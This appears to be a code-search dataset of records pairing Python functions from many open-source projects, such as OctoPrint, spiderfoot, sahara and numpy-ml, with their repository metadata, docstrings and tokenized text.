"""
Return the index into the type_ids list for the definer of this field
:rtype: int
"""
return self.class_idx | [
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grow/grow | 97fc21730b6a674d5d33948d94968e79447ce433 | grow/deployments/destinations/git_destination.py | python | GitDestination.read_file | (self, path) | return self.storage.read(path) | [] | def read_file(self, path):
path = os.path.join(self.repo_path, self.config.root_dir.lstrip('/'),
path.lstrip('/'))
return self.storage.read(path) | [
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smicallef/spiderfoot | fd4bf9394c9ab3ecc90adc3115c56349fb23165b | modules/sfp_countryname.py | python | sfp_countryname.detectCountryFromPhone | (self, srcPhoneNumber) | return self.sf.countryNameFromCountryCode(countryCode.upper()) | Lookup name of country from phone number region code.
Args:
srcPhoneNumber (str): phone number
Returns:
str: country name | Lookup name of country from phone number region code. | [
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] | def detectCountryFromPhone(self, srcPhoneNumber):
"""Lookup name of country from phone number region code.
Args:
srcPhoneNumber (str): phone number
Returns:
str: country name
"""
if not isinstance(srcPhoneNumber, str):
return None
try:
phoneNumber = phonenumbers.parse(srcPhoneNumber)
except Exception:
self.debug(f"Skipped invalid phone number: {srcPhoneNumber}")
return None
try:
countryCode = region_code_for_country_code(phoneNumber.country_code)
except Exception:
self.debug(f"Lookup of region code failed for phone number: {srcPhoneNumber}")
return None
if not countryCode:
return None
return self.sf.countryNameFromCountryCode(countryCode.upper()) | [
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openstack/sahara | c4f4d29847d5bcca83d49ef7e9a3378458462a79 | sahara/utils/proxy.py | python | create_proxy_user_for_job_execution | (job_execution) | Creates a proxy user and adds the credentials to the job execution
:param job_execution: The job execution model to update | Creates a proxy user and adds the credentials to the job execution | [
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'''Creates a proxy user and adds the credentials to the job execution
:param job_execution: The job execution model to update
'''
username = 'job_{0}'.format(job_execution.id)
password = key_manager.store_secret(proxy_user_create(username))
current_user = k.auth()
proxy_user = k.auth_for_proxy(username, password)
trust_id = t.create_trust(trustor=current_user,
trustee=proxy_user,
role_names=CONF.proxy_user_role_names)
update = {'job_configs': job_execution.job_configs.to_dict()}
update['job_configs']['proxy_configs'] = {
'proxy_username': username,
'proxy_password': password,
'proxy_trust_id': trust_id
}
conductor.job_execution_update(context.ctx(), job_execution, update) | [
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")... | https://github.com/openstack/sahara/blob/c4f4d29847d5bcca83d49ef7e9a3378458462a79/sahara/utils/proxy.py#L57-L76 | ||
bakwc/PySyncObj | 012aeb1b34be7b98f3b5c33e735836a9fc0c4cba | pysyncobj/utility.py | python | Utility.executeCommand | (self, node, command) | Executes command on the given node.
:param node: where to execute the command
:type node: Node or str
:param command: the command which should be sent
:type command: list
:returns: result
:rtype: any object
:raises: UtilityException in case of error | Executes command on the given node. | [
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"the",
"given",
"node",
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] | def executeCommand(self, node, command):
"""
Executes command on the given node.
:param node: where to execute the command
:type node: Node or str
:param command: the command which should be sent
:type command: list
:returns: result
:rtype: any object
:raises: UtilityException in case of error
""" | [
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geopython/pycsw | 43a5c92fa819a3a3fdc8a8e3ef075d784dff73fc | pycsw/server.py | python | Csw.sru | (self) | return self.sruobj | enable SRU | enable SRU | [
"enable",
"SRU"
] | def sru(self):
""" enable SRU """
if not self.sruobj:
self.sruobj = sru.Sru(self.context)
return self.sruobj | [
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cylc/cylc-flow | 5ec221143476c7c616c156b74158edfbcd83794a | cylc/flow/task_message.py | python | send_messages | (workflow, task_job, messages, event_time) | [] | def send_messages(workflow, task_job, messages, event_time):
workflow = os.path.normpath(workflow)
try:
pclient = get_client(workflow)
except WorkflowStopped:
# on a remote host this means the contact file is not present
# either the workflow is stopped or the contact file is not present
# on the job host (i.e. comms method is polling)
# eitherway don't try messaging
pass
except Exception:
# Backward communication not possible
if cylc.flow.flags.verbosity > 1:
import traceback
traceback.print_exc()
else:
mutation_kwargs = {
'request_string': MUTATION,
'variables': {
'wFlows': [workflow],
'taskJob': task_job,
'eventTime': event_time,
'messages': messages,
}
}
pclient('graphql', mutation_kwargs) | [
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"... | https://github.com/cylc/cylc-flow/blob/5ec221143476c7c616c156b74158edfbcd83794a/cylc/flow/task_message.py#L104-L129 | ||||
Kismuz/btgym | 7fb3316e67f1d7a17c620630fb62fb29428b2cec | btgym/research/model_based/runner.py | python | OUpRunner.__init__ | (self, name='OUp_synchro', **kwargs) | [] | def __init__(self, name='OUp_synchro', **kwargs):
super(OUpRunner, self).__init__(name=name, **kwargs)
# True data_generating_process params:
self.dgp_params = {key: [] for key in self.env.observation_space.shape['metadata']['generator'].keys()}
self.dgp_dict = {key: 0 for key in self.env.observation_space.shape['metadata']['generator'].keys()}
# print('self.dgp_params_00: ', self.dgp_params)
self.policy.callback['dgp_params'] = self.pull_dgp_params | [
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team-ocean/veros | f62d6a2fe459a807fa6f3799c8aaa0a5fb70560f | veros/core/thermodynamics.py | python | surf_densityf | (state) | return KernelOutput(forc_rho_surface=vs.forc_rho_surface) | surface density flux | surface density flux | [
"surface",
"density",
"flux"
] | def surf_densityf(state):
"""
surface density flux
"""
vs = state.variables
vs.forc_rho_surface = vs.maskT[:, :, -1] * (
density.get_drhodT(state, vs.salt[:, :, -1, vs.taup1], vs.temp[:, :, -1, vs.taup1], npx.abs(vs.zt[-1]))
* vs.forc_temp_surface
+ density.get_drhodS(state, vs.salt[:, :, -1, vs.taup1], vs.temp[:, :, -1, vs.taup1], npx.abs(vs.zt[-1]))
* vs.forc_salt_surface
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return KernelOutput(forc_rho_surface=vs.forc_rho_surface) | [
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TUDelft-CNS-ATM/bluesky | 55a538a3cd936f33cff9df650c38924aa97557b1 | bluesky/traffic/traffic.py | python | Traffic.airwaycmd | (self, key) | return False, f"No airway legs found for {key}" | Show conections of a waypoint or airway. | Show conections of a waypoint or airway. | [
"Show",
"conections",
"of",
"a",
"waypoint",
"or",
"airway",
"."
] | def airwaycmd(self, key):
''' Show conections of a waypoint or airway. '''
reflat, reflon = bs.scr.getviewctr()
if bs.navdb.awid.count(key) > 0:
return self.poscommand(key)
# Find connecting airway legs
wpid = key
iwp = bs.navdb.getwpidx(wpid,reflat,reflon)
if iwp < 0:
return False,key + " not found."
wplat = bs.navdb.wplat[iwp]
wplon = bs.navdb.wplon[iwp]
connect = bs.navdb.listconnections(key, wplat, wplon)
if connect:
lines = ""
for c in connect:
if len(c)>=2:
# Add airway, direction, waypoint
lines = lines+ c[0]+": to "+c[1]+"\n"
return True, lines[:-1] # exclude final newline
return False, f"No airway legs found for {key}" | [
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edfungus/Crouton | ada98b3930192938a48909072b45cb84b945f875 | clients/esp8266_clients/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/filepost.py | python | choose_boundary | () | return uuid4().hex | Our embarassingly-simple replacement for mimetools.choose_boundary. | Our embarassingly-simple replacement for mimetools.choose_boundary. | [
"Our",
"embarassingly",
"-",
"simple",
"replacement",
"for",
"mimetools",
".",
"choose_boundary",
"."
] | def choose_boundary():
"""
Our embarassingly-simple replacement for mimetools.choose_boundary.
"""
return uuid4().hex | [
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"return",
"uuid4",
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] | https://github.com/edfungus/Crouton/blob/ada98b3930192938a48909072b45cb84b945f875/clients/esp8266_clients/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/filepost.py#L13-L17 | |
chaitjo/personalized-dialog | 4f94e3dc1376e4e6aa1e5be3ec08b9f56871c98e | MemN2N/memn2n/memn2n_dialog.py | python | add_gradient_noise | (t, stddev=1e-3, name=None) | Adds gradient noise as described in http://arxiv.org/abs/1511.06807 [2].
The input Tensor `t` should be a gradient.
The output will be `t` + gaussian noise.
0.001 was said to be a good fixed value for memory networks [2]. | Adds gradient noise as described in http://arxiv.org/abs/1511.06807 [2]. | [
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"[",
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"]",
"."
] | def add_gradient_noise(t, stddev=1e-3, name=None):
"""Adds gradient noise as described in http://arxiv.org/abs/1511.06807 [2].
The input Tensor `t` should be a gradient.
The output will be `t` + gaussian noise.
0.001 was said to be a good fixed value for memory networks [2].
"""
with tf.name_scope(name, "add_gradient_noise", [t, stddev]) as name:
t = tf.convert_to_tensor(t, name="t")
gn = tf.random_normal(tf.shape(t), stddev=stddev)
return tf.add(t, gn, name=name) | [
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deepmind/mathematics_dataset | 900a0813b1997f45a4d0a8e448a652f37e4b5685 | mathematics_dataset/sample/polynomials.py | python | _sample_with_brackets | (depth, variables, degrees, entropy, length,
force_brackets=True) | Internal recursive function for: constructs a polynomial with brackets. | Internal recursive function for: constructs a polynomial with brackets. | [
"Internal",
"recursive",
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"constructs",
"a",
"polynomial",
"with",
"brackets",
"."
] | def _sample_with_brackets(depth, variables, degrees, entropy, length,
force_brackets=True):
"""Internal recursive function for: constructs a polynomial with brackets."""
# To generate arbitrary polynomial recursively, can do one of:
# * add two polynomials, with at least one having brackets.
# * multiply two polynomials.
# * call `sample` (i.e., polynomial without brackets).
if force_brackets:
length = max(2, length)
if not force_brackets and (random.choice([False, True]) or length < 2):
return sample(variables, degrees, entropy, length)
length_left = random.randint(1, length - 1)
length_right = length - length_left
entropy_left, entropy_right = entropy * np.random.dirichlet(
[length_left, length_right])
if random.choice([False, True]):
# Add two. Force brackets on at least one of the polynomials, and sample
# repeatedly until we don't get cancellation.
while True:
left = _sample_with_brackets(
depth + 1, variables, degrees, entropy_left, length_left, True)
right = _sample_with_brackets(
depth + 1, variables, degrees, entropy_right, length_right, False)
if random.choice([False, True]):
left, right = right, left
result = ops.Add(left, right)
all_ok = True
for variable, degree in zip(variables, degrees):
if _degree_of_variable(result, variable) != degree:
all_ok = False
break
if all_ok:
return result
else:
# Multiply two.
def sample_with_zero_check(degrees_, entropy_, length_):
while True:
result = _sample_with_brackets(
depth + 1, variables, degrees_, entropy_, length_, False)
if degrees_.sum() > 0 or not result.sympy().is_zero:
return result
degrees = np.asarray(degrees)
def sample_degree(max_degree):
"""Select in range [0, max_degree], biased away from ends."""
if max_degree <= 1 or random.choice([False, True]):
return random.randint(0, max_degree)
return random.randint(1, max_degree - 1)
degrees_left = np.array([sample_degree(degree) for degree in degrees])
degrees_right = degrees - degrees_left
left = sample_with_zero_check(degrees_left, entropy_left, length_left)
right = sample_with_zero_check(degrees_right, entropy_right, length_right)
return ops.Mul(left, right) | [
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OctoPrint/OctoPrint | 4b12b0e6f06c3abfb31b1840a0605e2de8e911d2 | src/octoprint/plugin/types.py | python | TemplatePlugin.get_template_configs | (self) | return [] | Allows configuration of injected navbar, sidebar, tab and settings templates (and also additional templates of
types specified by plugins through the :ref:`octoprint.ui.web.templatetypes <sec-plugins-hook-ui-web-templatetypes>` hook).
Should be a list containing one configuration object per template to inject. Each configuration object is
represented by a dictionary which may contain the following keys:
.. list-table::
:widths: 5 95
* - type
- The template type the configuration is targeting. Possible values here are ``navbar``, ``sidebar``,
``tab``, ``settings`` and ``generic``. Mandatory.
* - name
- The name of the component, if not set the name of the plugin will be used. The name will be visible at
a location depending on the ``type``:
* ``navbar``: unused
* ``sidebar``: sidebar heading
* ``tab``: tab heading
* ``settings``: settings link
* ``wizard``: wizard link
* ``about``: about link
* ``generic``: unused
* - template
- Name of the template to inject, default value depends on the ``type``:
* ``navbar``: ``<plugin identifier>_navbar.jinja2``
* ``sidebar``: ``<plugin identifier>_sidebar.jinja2``
* ``tab``: ``<plugin identifier>_tab.jinja2``
* ``settings``: ``<plugin identifier>_settings.jinja2``
* ``wizard``: ``<plugin identifier>_wizard.jinja2``
* ``about``: ``<plugin identifier>_about.jinja2``
* ``generic``: ``<plugin identifier>.jinja2``
* - suffix
- Suffix to attach to the component identifier and the div identifier of the injected template. Will be
``_<index>`` if not provided and not the first template of the type, with ``index`` counting from 1 and
increasing for each template of the same type.
Example: If your plugin with identifier ``myplugin`` defines two tab components like this:
.. code-block:: python
return [
dict(type="tab", template="myplugin_first_tab.jinja2"),
dict(type="tab", template="myplugin_second_tab.jinja2")
]
then the first tab will have the component identifier ``plugin_myplugin`` and the second one will have
the component identifier ``plugin_myplugin_2`` (the generated divs will be ``tab_plugin_myplugin`` and
``tab_plugin_myplugin_2`` accordingly). Notice that the first tab is *not* called ``plugin_myplugin_1`` --
as stated above while the ``index`` used as default suffix starts counting at 1, it will not be applied
for the first component of a given type.
If on the other hand your plugin's definition looks like this:
.. code-block:: python
return [
dict(type="tab", template="myplugin_first_tab_jinja2", suffix="_1st"),
dict(type="tab", template="myplugin_second_tab_jinja2", suffix="_2nd")
]
then the generated component identifier will be ``plugin_myplugin_1st`` and ``plugin_myplugin_2nd``
(and the divs will be ``tab_plugin_myplugin_1st`` and ``tab_plugin_myplugin_2nd``).
* - div
- Id for the div containing the component. If not provided, defaults to ``<type>_plugin_<plugin identifier>`` plus
the ``suffix`` if provided or required.
* - replaces
- Id of the component this one replaces, might be either one of the core components or a component
provided by another plugin. A list of the core component identifiers can be found
:ref:`in the configuration documentation <sec-configuration-config_yaml-appearance>`. The identifiers of
other plugin components always follow the format described above.
* - custom_bindings
- A boolean value indicating whether the default view model should be bound to the component (``false``)
or if a custom binding will be used by the plugin (``true``, default).
* - data_bind
- Additional knockout data bindings to apply to the component, can be used to add further behaviour to
the container based on internal state if necessary.
* - classes
- Additional classes to apply to the component, as a list of individual classes
(e.g. ``classes=["myclass", "myotherclass"]``) which will be joined into the correct format by the template engine.
* - styles
- Additional CSS styles to apply to the component, as a list of individual declarations
(e.g. ``styles=["color: red", "display: block"]``) which will be joined into the correct format by the template
engine.
Further keys to be included in the dictionary depend on the type:
``sidebar`` type
.. list-table::
:widths: 5 95
* - icon
- Icon to use for the sidebar header, should be the name of a Font Awesome icon without the leading ``icon-`` part.
* - template_header
- Additional template to include in the head section of the sidebar item. For an example of this, see the additional
options included in the "Files" section.
* - classes_wrapper
- Like ``classes`` but only applied to the whole wrapper around the sidebar box.
* - classes_content
- Like ``classes`` but only applied to the content pane itself.
* - styles_wrapper
- Like ``styles`` but only applied to the whole wrapper around the sidebar box.
* - styles_content
- Like ``styles`` but only applied to the content pane itself
``tab`` type and ``settings`` type
.. list-table::
:widths: 5 95
* - classes_link
- Like ``classes`` but only applied to the link in the navigation.
* - classes_content
- Like ``classes`` but only applied to the content pane itself.
* - styles_link
- Like ``styles`` but only applied to the link in the navigation.
* - styles_content
- Like ``styles`` but only applied to the content pane itself.
``wizard`` type
.. list-table::
:widths: 5 95
* - mandatory
- Whether the wizard step is mandatory (True) or not (False). Optional,
defaults to False. If set to True, OctoPrint will sort visually mark
the step as mandatory in the UI (bold in the navigation and a little
alert) and also sort it into the first half.
.. note::
As already outlined above, each template type has a default template name (i.e. the default navbar template
of a plugin is called ``<plugin identifier>_navbar.jinja2``), which may be overridden using the template configuration.
If a plugin needs to include more than one template of a given type, it needs to provide an entry for each of
those, since the implicit default template will only be included automatically if no other templates of that
type are defined.
Example: If you have a plugin that injects two tab components, one defined in the template file
``myplugin_tab.jinja2`` (the default template) and one in the template ``myplugin_othertab.jinja2``, you
might be tempted to just return the following configuration since one your templates is named by the default
template name:
.. code-block:: python
return [
dict(type="tab", template="myplugin_othertab.jinja2")
]
This will only include the tab defined in ``myplugin_othertab.jinja2`` though, ``myplugin_tab.jinja2`` will
not be included automatically since the presence of a definition for the ``tab`` type overrides the automatic
injection of the default template. You'll have to include it explicitly:
.. code-block:: python
return [
dict(type="tab", template="myplugin_tab.jinja2"),
dict(type="tab", template="myplugin_othertab.jinja2")
]
:return list: a list containing the configuration options for the plugin's injected templates | Allows configuration of injected navbar, sidebar, tab and settings templates (and also additional templates of
types specified by plugins through the :ref:`octoprint.ui.web.templatetypes <sec-plugins-hook-ui-web-templatetypes>` hook).
Should be a list containing one configuration object per template to inject. Each configuration object is
represented by a dictionary which may contain the following keys: | [
"Allows",
"configuration",
"of",
"injected",
"navbar",
"sidebar",
"tab",
"and",
"settings",
"templates",
"(",
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"specified",
"by",
"plugins",
"through",
"the",
":",
"ref",
":",
"octoprint",
".",
"ui",
".",... | def get_template_configs(self):
"""
Allows configuration of injected navbar, sidebar, tab and settings templates (and also additional templates of
types specified by plugins through the :ref:`octoprint.ui.web.templatetypes <sec-plugins-hook-ui-web-templatetypes>` hook).
Should be a list containing one configuration object per template to inject. Each configuration object is
represented by a dictionary which may contain the following keys:
.. list-table::
:widths: 5 95
* - type
- The template type the configuration is targeting. Possible values here are ``navbar``, ``sidebar``,
``tab``, ``settings`` and ``generic``. Mandatory.
* - name
- The name of the component, if not set the name of the plugin will be used. The name will be visible at
a location depending on the ``type``:
* ``navbar``: unused
* ``sidebar``: sidebar heading
* ``tab``: tab heading
* ``settings``: settings link
* ``wizard``: wizard link
* ``about``: about link
* ``generic``: unused
* - template
- Name of the template to inject, default value depends on the ``type``:
* ``navbar``: ``<plugin identifier>_navbar.jinja2``
* ``sidebar``: ``<plugin identifier>_sidebar.jinja2``
* ``tab``: ``<plugin identifier>_tab.jinja2``
* ``settings``: ``<plugin identifier>_settings.jinja2``
* ``wizard``: ``<plugin identifier>_wizard.jinja2``
* ``about``: ``<plugin identifier>_about.jinja2``
* ``generic``: ``<plugin identifier>.jinja2``
* - suffix
- Suffix to attach to the component identifier and the div identifier of the injected template. Will be
``_<index>`` if not provided and not the first template of the type, with ``index`` counting from 1 and
increasing for each template of the same type.
Example: If your plugin with identifier ``myplugin`` defines two tab components like this:
.. code-block:: python
return [
dict(type="tab", template="myplugin_first_tab.jinja2"),
dict(type="tab", template="myplugin_second_tab.jinja2")
]
then the first tab will have the component identifier ``plugin_myplugin`` and the second one will have
the component identifier ``plugin_myplugin_2`` (the generated divs will be ``tab_plugin_myplugin`` and
``tab_plugin_myplugin_2`` accordingly). Notice that the first tab is *not* called ``plugin_myplugin_1`` --
as stated above while the ``index`` used as default suffix starts counting at 1, it will not be applied
for the first component of a given type.
If on the other hand your plugin's definition looks like this:
.. code-block:: python
return [
dict(type="tab", template="myplugin_first_tab_jinja2", suffix="_1st"),
dict(type="tab", template="myplugin_second_tab_jinja2", suffix="_2nd")
]
then the generated component identifier will be ``plugin_myplugin_1st`` and ``plugin_myplugin_2nd``
(and the divs will be ``tab_plugin_myplugin_1st`` and ``tab_plugin_myplugin_2nd``).
* - div
- Id for the div containing the component. If not provided, defaults to ``<type>_plugin_<plugin identifier>`` plus
the ``suffix`` if provided or required.
* - replaces
- Id of the component this one replaces, might be either one of the core components or a component
provided by another plugin. A list of the core component identifiers can be found
:ref:`in the configuration documentation <sec-configuration-config_yaml-appearance>`. The identifiers of
other plugin components always follow the format described above.
* - custom_bindings
- A boolean value indicating whether the default view model should be bound to the component (``false``)
or if a custom binding will be used by the plugin (``true``, default).
* - data_bind
- Additional knockout data bindings to apply to the component, can be used to add further behaviour to
the container based on internal state if necessary.
* - classes
- Additional classes to apply to the component, as a list of individual classes
(e.g. ``classes=["myclass", "myotherclass"]``) which will be joined into the correct format by the template engine.
* - styles
- Additional CSS styles to apply to the component, as a list of individual declarations
(e.g. ``styles=["color: red", "display: block"]``) which will be joined into the correct format by the template
engine.
Further keys to be included in the dictionary depend on the type:
``sidebar`` type
.. list-table::
:widths: 5 95
* - icon
- Icon to use for the sidebar header, should be the name of a Font Awesome icon without the leading ``icon-`` part.
* - template_header
- Additional template to include in the head section of the sidebar item. For an example of this, see the additional
options included in the "Files" section.
* - classes_wrapper
- Like ``classes`` but only applied to the whole wrapper around the sidebar box.
* - classes_content
- Like ``classes`` but only applied to the content pane itself.
* - styles_wrapper
- Like ``styles`` but only applied to the whole wrapper around the sidebar box.
* - styles_content
- Like ``styles`` but only applied to the content pane itself
``tab`` type and ``settings`` type
.. list-table::
:widths: 5 95
* - classes_link
- Like ``classes`` but only applied to the link in the navigation.
* - classes_content
- Like ``classes`` but only applied to the content pane itself.
* - styles_link
- Like ``styles`` but only applied to the link in the navigation.
* - styles_content
- Like ``styles`` but only applied to the content pane itself.
``wizard`` type
.. list-table::
:widths: 5 95
* - mandatory
- Whether the wizard step is mandatory (True) or not (False). Optional,
defaults to False. If set to True, OctoPrint will sort visually mark
the step as mandatory in the UI (bold in the navigation and a little
alert) and also sort it into the first half.
.. note::
As already outlined above, each template type has a default template name (i.e. the default navbar template
of a plugin is called ``<plugin identifier>_navbar.jinja2``), which may be overridden using the template configuration.
If a plugin needs to include more than one template of a given type, it needs to provide an entry for each of
those, since the implicit default template will only be included automatically if no other templates of that
type are defined.
Example: If you have a plugin that injects two tab components, one defined in the template file
``myplugin_tab.jinja2`` (the default template) and one in the template ``myplugin_othertab.jinja2``, you
might be tempted to just return the following configuration since one your templates is named by the default
template name:
.. code-block:: python
return [
dict(type="tab", template="myplugin_othertab.jinja2")
]
This will only include the tab defined in ``myplugin_othertab.jinja2`` though, ``myplugin_tab.jinja2`` will
not be included automatically since the presence of a definition for the ``tab`` type overrides the automatic
injection of the default template. You'll have to include it explicitly:
.. code-block:: python
return [
dict(type="tab", template="myplugin_tab.jinja2"),
dict(type="tab", template="myplugin_othertab.jinja2")
]
:return list: a list containing the configuration options for the plugin's injected templates
"""
return [] | [
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cbfinn/maml_rl | 9c8e2ebd741cb0c7b8bf2d040c4caeeb8e06cc95 | rllab/algos/cma_es_lib.py | python | CMAEvolutionStrategy.get_selective_mirrors | (self, number=None, pop_sorted=None) | return res | get mirror genotypic directions of the `number` worst
solution, based on ``pop_sorted`` attribute (from last
iteration).
Details:
Takes the last ``number=sp.lam_mirr`` entries in
``pop_sorted=self.pop_sorted`` as solutions to be mirrored. | get mirror genotypic directions of the `number` worst
solution, based on ``pop_sorted`` attribute (from last
iteration). | [
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"""get mirror genotypic directions of the `number` worst
solution, based on ``pop_sorted`` attribute (from last
iteration).
Details:
Takes the last ``number=sp.lam_mirr`` entries in
``pop_sorted=self.pop_sorted`` as solutions to be mirrored.
"""
if pop_sorted is None:
if hasattr(self, 'pop_sorted'):
pop_sorted = self.pop_sorted
else:
return None
if number is None:
number = self.sp.lam_mirr
res = []
for i in range(1, number + 1):
res.append(self.mean_old - pop_sorted[-i])
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home-assistant/core | 265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1 | homeassistant/components/vesync/switch.py | python | VeSyncLightSwitch.__init__ | (self, switch) | Initialize Light Switch device class. | Initialize Light Switch device class. | [
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] | def __init__(self, switch):
"""Initialize Light Switch device class."""
super().__init__(switch)
self.switch = switch | [
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rhinstaller/anaconda | 63edc8680f1b05cbfe11bef28703acba808c5174 | pyanaconda/core/configuration/storage_constraints.py | python | StorageConstraints.must_be_on_linuxfs | (self) | return set(self._get_option("must_be_on_linuxfs").split()) | Mount points that must be on a linux file system.
:return: a set of mount points | Mount points that must be on a linux file system. | [
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"""Mount points that must be on a linux file system.
:return: a set of mount points
"""
return set(self._get_option("must_be_on_linuxfs").split()) | [
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chribsen/simple-machine-learning-examples | dc94e52a4cebdc8bb959ff88b81ff8cfeca25022 | venv/lib/python2.7/site-packages/pandas/indexes/base.py | python | Index._assert_take_fillable | (self, values, indices, allow_fill=True,
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""" Internal method to handle NA filling of take """
indices = _ensure_platform_int(indices)
# only fill if we are passing a non-None fill_value
if allow_fill and fill_value is not None:
if (indices < -1).any():
msg = ('When allow_fill=True and fill_value is not None, '
'all indices must be >= -1')
raise ValueError(msg)
taken = values.take(indices)
mask = indices == -1
if mask.any():
taken[mask] = na_value
else:
taken = values.take(indices)
return taken | [
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SeldonIO/alibi | ce961caf995d22648a8338857822c90428af4765 | alibi/confidence/model_linearity.py | python | LinearityMeasure.score | (self, predict_fn: Callable, x: np.ndarray) | return lin | Parameters
----------
predict_fn
Prediction function
x
Instance of interest
Returns
-------
Linearity measure | [] | def score(self, predict_fn: Callable, x: np.ndarray) -> np.ndarray:
"""
Parameters
----------
predict_fn
Prediction function
x
Instance of interest
Returns
-------
Linearity measure
"""
input_shape = x.shape[1:]
if self.is_fit:
assert input_shape == self.input_shape
if self.method == 'knn':
if not self.is_fit:
raise ValueError("Method 'knn' cannot be used without calling fit().")
lin = _linearity_measure(predict_fn, x, X_train=self.X_train, feature_range=None, method=self.method,
nb_samples=self.nb_samples, res=self.res, epsilon=self.epsilon, alphas=self.alphas,
model_type=self.model_type, agg=self.agg)
elif self.method == 'grid':
if not self.is_fit:
self.feature_range = np.asarray([[0, 1]] * x.shape[1]) # hardcoded (e.g. from 0 to 1)
lin = _linearity_measure(predict_fn, x, X_train=None, feature_range=self.feature_range,
method=self.method, nb_samples=self.nb_samples, res=self.res, epsilon=self.epsilon,
alphas=self.alphas, model_type=self.model_type, agg=self.agg)
else:
raise ValueError('Method not understood. Supported methods: "knn", "grid"')
return lin | [
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pretix/pretix | 96f694cf61345f54132cd26cdeb07d5d11b34232 | src/pretix/presale/views/customer.py | python | LoginView.form_valid | (self, form) | return HttpResponseRedirect(self.get_success_url()) | Security check complete. Log the user in. | Security check complete. Log the user in. | [
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sebastien/cuisine | f6f70268ef1361db66815383017f7c8969002154 | src/cuisine.py | python | group_create_linux | (name, gid=None) | Creates a group with the given name, and optionally given gid. | Creates a group with the given name, and optionally given gid. | [
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] | def group_create_linux(name, gid=None):
"""Creates a group with the given name, and optionally given gid."""
options = []
if gid:
options.append("-g '%s'" % (gid))
sudo("groupadd %s '%s'" % (" ".join(options), name)) | [
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osmr/imgclsmob | f2993d3ce73a2f7ddba05da3891defb08547d504 | pytorch/pytorchcv/models/wrn.py | python | wrn_conv1x1 | (in_channels,
out_channels,
stride,
activate) | return WRNConv(
in_channels=in_channels,
out_channels=out_channels,
kernel_size=1,
stride=stride,
padding=0,
activate=activate) | 1x1 version of the WRN specific convolution block.
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----------
in_channels : int
Number of input channels.
out_channels : int
Number of output channels.
stride : int or tuple/list of 2 int
Strides of the convolution.
activate : bool
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"""
1x1 version of the WRN specific convolution block.
Parameters:
----------
in_channels : int
Number of input channels.
out_channels : int
Number of output channels.
stride : int or tuple/list of 2 int
Strides of the convolution.
activate : bool
Whether activate the convolution block.
"""
return WRNConv(
in_channels=in_channels,
out_channels=out_channels,
kernel_size=1,
stride=stride,
padding=0,
activate=activate) | [
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ddbourgin/numpy-ml | b0359af5285fbf9699d64fd5ec059493228af03e | numpy_ml/neural_nets/utils/utils.py | python | conv1D | (X, W, stride, pad, dilation=0) | return np.squeeze(Z2D, axis=1) | A faster (but more memory intensive) implementation of a 1D "convolution"
(technically, cross-correlation) of input `X` with a collection of kernels in
`W`.
Notes
-----
Relies on the :func:`im2col` function to perform the convolution as a single
matrix multiplication.
For a helpful diagram, see Pete Warden's 2015 blogpost [1].
References
----------
.. [1] Warden (2015). "Why GEMM is at the heart of deep learning,"
https://petewarden.com/2015/04/20/why-gemm-is-at-the-heart-of-deep-learning/
Parameters
----------
X : :py:class:`ndarray <numpy.ndarray>` of shape `(n_ex, l_in, in_ch)`
Input volume (unpadded)
W: :py:class:`ndarray <numpy.ndarray>` of shape `(kernel_width, in_ch, out_ch)`
A volume of convolution weights/kernels for a given layer
stride : int
The stride of each convolution kernel
pad : tuple, int, or 'same'
The padding amount. If 'same', add padding to ensure that the output of
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produces an output volume of the same dimensions as the input. If
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dilation : int
Number of pixels inserted between kernel elements. Default is 0.
Returns
-------
Z : :py:class:`ndarray <numpy.ndarray>` of shape `(n_ex, l_out, out_ch)`
The convolution of X with W. | A faster (but more memory intensive) implementation of a 1D "convolution"
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"""
A faster (but more memory intensive) implementation of a 1D "convolution"
(technically, cross-correlation) of input `X` with a collection of kernels in
`W`.
Notes
-----
Relies on the :func:`im2col` function to perform the convolution as a single
matrix multiplication.
For a helpful diagram, see Pete Warden's 2015 blogpost [1].
References
----------
.. [1] Warden (2015). "Why GEMM is at the heart of deep learning,"
https://petewarden.com/2015/04/20/why-gemm-is-at-the-heart-of-deep-learning/
Parameters
----------
X : :py:class:`ndarray <numpy.ndarray>` of shape `(n_ex, l_in, in_ch)`
Input volume (unpadded)
W: :py:class:`ndarray <numpy.ndarray>` of shape `(kernel_width, in_ch, out_ch)`
A volume of convolution weights/kernels for a given layer
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The stride of each convolution kernel
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Number of pixels inserted between kernel elements. Default is 0.
Returns
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Z : :py:class:`ndarray <numpy.ndarray>` of shape `(n_ex, l_out, out_ch)`
The convolution of X with W.
"""
_, p = pad1D(X, pad, W.shape[0], stride, dilation=dilation)
# add a row dimension to X to permit us to use im2col/col2im
X2D = np.expand_dims(X, axis=1)
W2D = np.expand_dims(W, axis=0)
p2D = (0, 0, p[0], p[1])
Z2D = conv2D(X2D, W2D, stride, p2D, dilation)
# drop the row dimension
return np.squeeze(Z2D, axis=1) | [
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hyperledger/aries-cloudagent-python | 2f36776e99f6053ae92eed8123b5b1b2e891c02a | aries_cloudagent/protocols/coordinate_mediation/v1_0/manager.py | python | MediationManager.remove_key | (
self, recipient_key: str, message: Optional[KeylistUpdate] = None
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Args:
recipient_key (str): key to remove
message (Optional[KeylistUpdate]): append update to message
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Args:
recipient_key (str): key to remove
message (Optional[KeylistUpdate]): append update to message
Returns:
KeylistUpdate: Message to send to mediator to notify of key removal.
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message = message or KeylistUpdate()
message.updates.append(
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CouchPotato/CouchPotatoV1 | 135b3331d1b88ef645e29b76f2d4cc4a732c9232 | cherrypy/_cperror.py | python | HTTPRedirect.__call__ | (self) | Use this exception as a request.handler (raise self). | Use this exception as a request.handler (raise self). | [
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] | https://github.com/CouchPotato/CouchPotatoV1/blob/135b3331d1b88ef645e29b76f2d4cc4a732c9232/cherrypy/_cperror.py#L282-L284 | ||
ucsb-seclab/karonte | 427ac313e596f723e40768b95d13bd7a9fc92fd8 | eval/multi_bin/all_bins/taint_analysis/coretaint.py | python | CoreTaint.add_taint_glob_dep | (self, master, slave, path) | Add a taint dependency: if master gets untainted, slave should be untainted
:param master: master expression
:param slave: slave expression
:param path: path
:return: | Add a taint dependency: if master gets untainted, slave should be untainted
:param master: master expression
:param slave: slave expression
:param path: path
:return: | [
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:param master: master expression
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:param path: path
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self.get_state(path).globals[GLOB_TAINT_DEP_KEY][key].append(slave) | [
